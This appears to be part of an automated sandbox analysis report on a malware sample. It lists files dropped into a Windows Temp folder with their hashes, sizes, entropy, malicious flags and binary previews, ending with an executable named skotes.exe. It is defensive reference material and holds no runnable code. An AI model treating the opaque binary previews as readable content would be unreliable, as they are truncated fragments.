SSDEEP:	6:ox3FqjvVg3F+X32+hZCt7HSbYwClS6CSNN:63FyGSG+fCtJfjN
MD5:	28A97FEBFC5CD391BEC1E2A3D9D938BF
SHA1:	ADEA302B1D73D65C4C2A64F4F10955D5E4D728AA
SHA-256:	2528CD8D1353E6C4DBCC6D2226B5B50EF14027A962A49C4001D2C8C072904773
SHA-512:	7BBB7F7781C77740EFC6361C5195A01F854C3CA1AFD9EC7870C4F87C5A28432AF97D61A41E4AF0D2D3CEA45FA3565E297FC08CD7ACA91831792DF0A81EFE0F82
Malicious:	false
Preview:	profiles........................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...

C:\Users\user\AppData\Local\Temp\Origin

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe
File Type:	data
Category:	dropped
Size (bytes):	64512
Entropy (8bit):	4.7517361763863475
Encrypted:	false
SSDEEP:	384:+Oa3HwwuBcozc/mwftIQXoSpu88888888888888888888888888888zv888888NR:TaAwuXc/mex/Sg
MD5:	7BBDCF2829F157F4178AD1A4EA31BFE6
SHA1:	AFC7C5852F104D94FC2726B3230039B696F17FC2
SHA-256:	BAC794EE8129A6EDAA06FED424A8839D24B6B8E6A75C4F23BC8C3E7735498818
SHA-512:	D2DD73E8F2B965B9BF9BB806C639AF654646D76628E5C707F29EDE16A1634DD5A699FB239C83C4BCF492B03E2941129AFFC777C39B9851F948A96F537DC844FF
Malicious:	false
Preview:	.".......".......".......".......4.......'.......'.......'.......'.......'.......'...............................................Z.......Z.......Z.......Z.......Z.......Z.......Z...............=.......=.......=.......=.......=.......=.......K.......K.......K.......K.......\.......\.......\.......\.......E.......E.......E.......E.......E.......H.......H.......H.......H.......K.......................................!.......!.......!..?....!..?....!..?....!...A.......................J.......V.......d...............p.......~......................................................................................................................................C....!..GA...!..K....!.......!.......!.......!.......!...................................0...........!.......!.......!.......!.......!.......!.......!.......!.......!.......!.......................................................:.......:.......:.......:......................................................................................

C:\Users\user\AppData\Local\Temp\Saved

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe
File Type:	data
Category:	dropped
Size (bytes):	68465
Entropy (8bit):	7.005168590448056
Encrypted:	false
SSDEEP:	1536:uu0uZo2+9BGmdATGODv7xvTphAiPChgZ2kOE6:u4ZNoGmROL7F1G7ho2kOb
MD5:	53AB895BB726A4933DD1DC3F2FA2E5F8
SHA1:	3933C015286DE1871305AC17679D7244E0C73A07
SHA-256:	230C6C15BB57BCB9566D03A0940EB2D8CBB52FD2807CB195982C2541EF7EBBC2
SHA-512:	3FFB82FB40E8FF1D98D395601DE10BEB59AF9F77AF6300DBA79E2436EA787EE7DCE026DD43CDDA324515F81EC7B5F48E1DF396CFC3568128468C3CC5E663682B
Malicious:	false
Preview:	.".#"=.v......;aoG..{.i.l?#...<4.a0.k.&....CK..v..........io.w.......W$....d.O..%...G.........l...`qq..;....w.....x..L7..G.1...=].....vd..\Xq.:Uu...... "m@.....9.w....]..J.....bawS~.[]W`n......-..p?.>.H. ...l.J..i.E....v..kk....~..m......+.8uy..w.i...Gw6...P..e'..H.i.....8...].....V.....9.............\|..8.zc.kSY.=..T....'..l.qc:.\|..q.f.U..m;.t..[g...:.'"..Mrlw...~.....MR.X.,.q..,y.....7....Ns`g....(U.....<....P...=.8.[.....2.V.<.....:/..bb..z.+.....[.NT..... .vg.KG.]f.l..9..t....y1ZZZ\|"..{L.yPG..Z..m.r\|o7C.qW.cm..+.\.[..w.[....&.]=.....rlw..6;.T,...G..".....3T5 "}...T.Xl`Y./......OV][..`,[.9....FT.Vg3.vq....wD.orhg..C..:.l...........>U...e.T...V.......(Rm....sW.c1...N09....=.-...gx......IDZ........0..Z...q2U.,+`.....z.......H.Z...~.;.....^..oNpi\|.$\*[\|..$7g./.......Z...p.lQXw..........y..\w-.w.M.....K...w.....g..\|...'..+......%X,[.:...... ..=.+.e.#.Nc.'.}...W...c......n..+.l....b...vw..;.t.Q..J.S.a.@.P.>......E........~:\nr..y..

C:\Users\user\AppData\Local\Temp\Sensor

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe
File Type:	data
Category:	dropped
Size (bytes):	118784
Entropy (8bit):	6.610127089636133
Encrypted:	false
SSDEEP:	3072:ywS2u5hVOoQ7t8T6pUkBJR8CThpmESv+AqVnBypIbv18mLtA:yb2j6AUkB0CThp6vmVnjpA
MD5:	3B125D59CE5A2CF242A621511A0FB164
SHA1:	3CCBA09F214B941931D6169CA9959ACE2A72ABA7
SHA-256:	E4C1FBEDC713173BCEF5C724F3D64283ADD852A64F65C87EB3EC8D86C55833AA
SHA-512:	C026F9AA8E83F2C888E2B8336C7EC8380D34873956407E32FAE31FD72BDA741B72C649B7162587435E3D13B9B9FAE8E0552330D710831C774264724C8589F36C
Malicious:	false
Preview:	xs.]..C<.M.;..t..4......V.M..t....M..i8....u=...y..A..~=.@<.M.;..t..4.....V.M..A....M..68....u..E.C;.\|....u.V...YY.M..4.......2._^[....V...N..V..F......t.Q......F..V..$..^.U..V.u.j......Y.M.Qj.VP.....p..0.......^].3..A.f.A..u......U..U.;.t".....B..A..B..A..B..A..B..A..B..A...]....A .......9.\|......S....A .......9A.\|..A....:...U.......3.V.u.W....f.F.9G ............P....I.....R........8E.t.8.....u.....u....8E.u.....u..F..8.....u.....u..F..8.....u.....u..F..8.[....................F.......Sh........I.....I......f..u.h..........f..t.....u....h........I......f..u.h..........f..t.....u..F..j.....I......f..u.j.......f..t.....u..F..j.....I......f..u.j.......f..t.....u..F..j[....I......f..u.j[......f..t.....u..F..[_..^....U..QQS..3.V..E.W.x.CO.&..e....xPW.....j0Y...f;.r...9w.+.....Ar...Fw...7....ar%..fw ..W........O.E.@.E.....E.\|....t..&.2....._^[..y..........<.......<-......<.......<#......<(t.<"t{<%tw<'ts<$to<&tk<!tg<otc<]t_<[t[<\tW<.tS<.tO<_tK<.tG<.tC<.t?<.t;<.t7<.t3<.t/<.t+<.

C:\Users\user\AppData\Local\Temp\Sheets

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe
File Type:	data
Category:	dropped
Size (bytes):	62464
Entropy (8bit):	7.996893383300018
Encrypted:	true
SSDEEP:	1536:BUSTLYdN5/qM8GDI99k/fG3EwYkRinZI6I6+bit:u+L8H/pmk20DnZI6m2
MD5:	D947E72346C4AC1ABA8BBDE8BB791F6F
SHA1:	F6DC2CFFBC0B29502CBA42D9ADEE2263A7FF4835
SHA-256:	A6E6FC90D3C04E2461E3017E9F1DBAA27ABB9278F5DB7BB09A218A3A969FEB41
SHA-512:	61E4A6BFB253D4FCF21781324C6DD7B2DFF0750075BFE4CCAFFFF07A4D2FA552016DFB343BB835BFC7E7D6FD80B2B35B9519F2D6958885502758138BAB764E9C
Malicious:	true
Preview:	..({.....65."...f....k%. +......v.Y.H2....A;U...'.s....3..R_H......QG...&XKw.,.f.MB....6.&tI.G...J..V.P... ..]....R.l.N...r.+da..h...d...^.t...?K....cR....z...h0...8.sEt...i.h\|.c......F..LA.Y9.T.]_..!u...[e.#(.pN.t.0z..[U....N......K7.<..X..%..H..w.C.E."...\|....3...'..2.wi....?i..\(..8F. .s.T..#6...B.Hq..^..&XSgE.w.g....A0.<..w@.....M......r.M{......KP.V]...?......Qh...!....1..z .".$J..xCB^.T..7.....,....g^.tXs.f...gz%..........5o.."x..2.....Q.g.`=..1..A.. .....L.B.....H.....q.B.<.o."u.ud.7.....y\.....d.Eil.".,.cw..m...Ax!.]R...I..}...<.L...tj...._N.(..p...+v..3.....O..'V..).......L9M....sY...._..@..\|.&UC.!.J..Fp..).Nc.......\.......O.Ge.t.x...};.U.x.\|.R...._.3....2,,+..~..)d.h..?....b....@..5....3....x.b.W{.wB.......i.g..N./..Aq.y....k.9w.g.yx.l2.Y;h..`J..x.XT....80.F.......!.....?90.$.....[.....+'{W.D@.]."[.r.j_...BW.f/.re..hpe......U.....V4].X_.=..r.S.Du]Ak.a....@...AAj.B...}.\|:.`..-H=.......\|.q.tP..h.....g.8b}z4.G8^.<N...

C:\Users\user\AppData\Local\Temp\Show

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe
File Type:	data
Category:	dropped
Size (bytes):	55296
Entropy (8bit):	6.654459170489211
Encrypted:	false
SSDEEP:	1536:XaSXL21rKoUn9r5C03Eq30BcrTrhCX4aVml:XtNPnj0nEoXnml
MD5:	35469FF6842A57BD9788DB58A1E1C0CC
SHA1:	47B76F8AE04AEFF8CDE18E15A6AB9D072214A54A
SHA-256:	7006A277A8B2AB82AE4409DF94E227083287B7678B9FFE79E2E19D534F1335EC
SHA-512:	3B97531E8D41C069DD9A8A6F3FE0FBC498FACBB6DF823525A726499CF5A4EA40879B7D02138C6D020520DF2D59C28EFC2F51470BF9AAC9F00B6F40101FE51AD0
Malicious:	false
Preview:	.....~..u..U...@.K..M.P.u..u.......T.U..M.;.r%;.v.;.v/.G.;.w(...}.;.v......;.w....F.;.r..u....Q.M.R.u..U..u..........E..e...;...@......+.@.E..E..@....8.E................U.G...;.v.}..E..M...........;..........}.......]....t1;.s.j.Xf.............B..u=3...@f...........B.(;.s.j.Xf....f.2..f.:..u.3.@f..j.X..f.2..........F..4F...f;.t........M...F..I...A.E...U..H...t4;H s#..+P.........;........E....;H r.U.3.f9C.......jwY..B...Bf9.t.;.r.;........M.....t.9X.t.....u..........M..].U..E.P.u....u..U......jw....g.....C...CXf9.t..T.....N......Q........E..$...E.3.f9D....,....).....F.f;.t.j.Yf;...j.Zf;.................F.j.Zf;.t...}........f.F......f#.....f;...f.F......f#......f;...............}............F..4F......F.f.............f;.u...F.....f;.t....:3.....u..u..U....u..u..9........t.G..F..4F...f;.t....8.......5..F..4F...f;.t..........1L..4F..F..4F...f;.t......jw[...3.B....1L...F.......;u.............I.^.E.#.E.\.A...............F.jwYf9.F..x.......f.~....h....E..GP..\....}..

C:\Users\user\AppData\Local\Temp\Silent

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe
File Type:	data
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	6.555933383144663
Encrypted:	false
SSDEEP:	1536:65fhjLueoMmOrrHL/uDoiouK+r5bLmbZzW9FfTubT:ufhnueoMmOqDoioO5bLezW9FfTun
MD5:	04DF53FD74B69C92DBA8CD83EAFA1180
SHA1:	275765D9C7E3300C0B7579AE3DE32F658E12945C
SHA-256:	DB246122E92D7C13AE1050C65C1E1F722F4E98375C9875D719F775CFE1478EE9
SHA-512:	44DFA1CCF0C3B054DAC3FADBA5A87C7C56F318C74DFF83810310E349B80029F19A08133C502DD7B65E543B882E567AC19DE54F8A520FF073774894F6F8320EF5
Malicious:	false
Preview:	..@...Pjr...........9\$Dt......P....D$...@.Ph........3......B..\$0j.....D$4.\$<PW.u..D$L..........x .E....@....f.x..t...@...Pjr.p....L$0.&q......P....D$....f..A.......t$@.L$d.=...D$...P.D$$P.D$hP.u.S.;......L$`.....G....tp....Rt[...t9...t$...t..L$..D$0P....-.t$..L$4..H...:.L$..D$0P.......L$..D$0P.9H...t$..L$4.>.....t$..L$4..N...D$0P.L$$.....t$@.L$d..<...D$ ..P.D$dP.u.......L$`..."G...L$0.!p...Q.t$@.L$d.<...D$...P.D$$P.D$hP.u..t$ .J......L$`.....F...........t$...W.u..N......L$@.F...L$P.o...L$ .D$ ..I..?....t$$.....Y_^[..]...U..E...pSV3.x..W..u....E....].E..E...I..M.].]..].]..]..E......E...H...u..M..].]..F..E..........uF.E......@.Ph.......X....M...F...M...o...M..E...I......u.........9....F.j5Y.M....].f9K..]..M.u(.u..M.;..u..M.t..E..M..0..F.....F..M.B.....jG..B....u.^f;.u........}.......t...B.Ph.....R....M.U.R...P...u....F......@.Ph.....+......E.PSV...f............E......F........A...U.f;E.......jNXf;.......jGXf;....................A..AjNXf9E.u).y..u#j..E.

C:\Users\user\AppData\Local\Temp\Symptoms

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe
File Type:	data
Category:	dropped
Size (bytes):	53248
Entropy (8bit):	6.721434698149147
Encrypted:	false
SSDEEP:	768:4Mf17+sVXnQkdFLILu8rbPDmhdimkIXqURPN2mldrfa04VQv7Qf0VosQE7YmFdno:Dh+I+FrbCyI7P4Cxi8q0vQEcmFdno
MD5:	7847E23CCE3770257DD905024CDC5020
SHA1:	2D2070CB134CCDE38544814A1E1E35A08AB95EA6
SHA-256:	75F0206860B962D3636015D98C420EC5EBF4023CA7B75B747AEB388AAFE9049A
SHA-512:	97F5B6924C23343F732AB470B8006EF2B25C92FADB3560FD56DB6E53B8DAF0C65CE66EB416BD03126C3B1AE6FA2CF66178A487C0EABAD24263A3DE7253C236B0
Malicious:	false
Preview:	Y;.t..u.S.3..Y;.u.W.....Y..u..u..7...Y^.u..].S.3...YY..u..E.j.Y..............[_]..U..W.u..~{..Y.M....I....u!...........E.j.Y.................E..@......t........".....E..@...t(.E..`...E..@.......E.t..H....E.j.Y....!..E.SVj.[.......E.j.Y....!..E..`...E..@......u1.u.j..2..Y;.t..u.S.2..Y;.u.W.....Y..u..u..$...Y.u..u.V.....YY..u..E.j.Y................^[_]..U..VW.u..hz..Y.M...I...........M.3..A..1+.@...E..H.I.H...~&.E.V.p.R..........E..H..E...3.;.....d...t....t.....?...k.0.....M......L..@( t.j.WWR.4..#......u..E.j.Y..........j..E.PR.$......H....@_^]..U..VW.u..y..Y.M...I...........M.3..A..1+.......E..H.....H...~(.E.V.p.R...........E..H.f.E.f..3.;.....f...t....t.....?...k.0.....M......L..@( t.j.WWR..3..#......u..E.j.Y..........j..E.PR.R.............@_^]..U..]./.....U..].5...j.h..L....3..u.E..0....Y.u..E....8........?k.0.....M..D.(.t!W.....YP....I...u.........0.I.................u..E.............\.......u.M..1.....Y..U.....E..M..E..E.E.P.u..E.P.D.....]..U..QV.u..

C:\Users\user\AppData\Local\Temp\Volunteer

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe
File Type:	data
Category:	dropped
Size (bytes):	95232
Entropy (8bit):	4.612003853136968
Encrypted:	false
SSDEEP:	768:ZKAGWRqA60dTcR4qYnGfAHE9AUsFxyLtVSQsbZgar3R/OWel3EYr8qcDP8WBR:ZKaj6iTcPAsAhxjgarB/5el3EYrDWD
MD5:	D9EBAE5A1B2F513852F89FDC3D31672D
SHA1:	DFA418E6FD3C5B16B685EA0E09CC159A5FF6ED14
SHA-256:	B9A3C8E95D261CC9C6B28B58518554120AA2CFA09C2BE81C609C0F01B26B313D
SHA-512:	D5A9226EA1152566872669C4072BEA6498C930E405DB45FB6B7B63CD7A807BE814C7A71E983851F5D7A66B131319A850DDB10E1D4661D4CACD3082CB5C1CAEAC
Malicious:	false
Preview:	.........................................................................................................................................................................................................................................................................................................m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.................................(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(.(

C:\Users\user\AppData\Local\Temp\Wanting

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe
File Type:	data
Category:	dropped
Size (bytes):	41523
Entropy (8bit):	7.995572172924696
Encrypted:	true
SSDEEP:	768:KQQtn0ggXOoA6vd4BnDiNdFDS0YV56wjvXNRsQEY4qGmScAh6SYN:KQQywQvT1TYV5LjvNyhqGXce67
MD5:	6F1A940A0159306F679FF4D03524AE0B
SHA1:	2B48523D0BF3828ABD8590E13A03B5946B3D442D
SHA-256:	7E294DD8F93A9A7D79FB118070F548D1E8FDA62FA96AF973E1A950F150B0331E
SHA-512:	4DDF0AFA24B981BAC3CA60CB52AF73E39BF7155972F49968C8FC85A17F561208D76158CD117948467176696A0BA87B9AC33658C5E7EF1EF3D4201139E959F932
Malicious:	true
Preview:	...._.....b@}.+....G.Qb._.._A...Q....u.V.^..-y.R...bP{..1..c_%..%.wt.oCbD.z.2.r'.-......V...h..g9S...e..K.ozJ6.d........F<;I.<nv.r..-.W.s"q.>A.`. ....]Q&[...B.......b(...... .7...{..,m1.%...I.%...&... .........&[.67.+..&..@.LV......B.C..W..2.y...Ji.L1..DY.h..6..z.B..n..K.A..P....1+J%..~.)....Q.M4.s.$..\X6..O...,_...V.7..O../........~.$yV(-.@...^.6..../.A.q..L.mN...B....S.NO...j.....iN.8........`...}.a.4..#>.....-..j\3.E0...6~...N...0.......T......c.c.5..H...@].Ax..P@...W=T.2(w_.......iRO'.wF......@L.)......T....Dp..z9.s......w .....^........o...n.W.a.V.^o.=..G..q..2.g<5....C.... .......S...BM."..MzHK...v.Z..H.........v?IT..f1.N.ts.....dIQ=.[..dWg.4OR;.h.x.P.i......Cj...@W.zg...L,...y.f25D...}M..5.]..NB!8.9..L*;..AT..z..?....)z.....Z....oA.WM.(..H.J......\|.4..2. ...9...e..g..z...[..2]-a.N,@..;......3...I$..#.9..Z9...<..[X...'m....>.../.....WPe.@.._...=P........\|`R...`..a.)...I(J.R......z. .......1B7..d.=..jy.q`&..4n..

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_f0dkkqg5.upj.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_f2nipggx.aa3.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fgkcby3h.5s2.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_h3524zir.p1c.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jras5cj1.obb.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_llxjjpfg.1km.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_m4iussne.ouv.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_odz3ay35.nds.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oo1xfair.zkv.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pokbhyw4.h3q.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tqrlywz3.5jk.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tyfji2l0.yys.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3092992
Entropy (8bit):	6.53036560628138
Encrypted:	false
SSDEEP:	49152:59M5PDq9UpDX3WamgOuWAu0OTm7bp9ZQ1Lwp4lyQ9J0K:59KPDUUpLJmgOpAuz2bp9ZewpIyQ3
MD5:	BCE8D1C24AAA492237EEF8AB39403025
SHA1:	22080FAAA8259EED4723EEE0D045890E866B9D8D
SHA-256:	A5E65380E98C1F0A3F8552BCD35090F14CFB74973ED39B7B5482D3D42A78E08A
SHA-512:	D1BCF783C8440D1186AC765AE524F3D9BE91FB09AB2BA3B2A93059111668DCBDE8CB0F666617BAE33B5D862EC763A19DBAA63DA223D8E052F28245E1417145FD
Malicious:	true
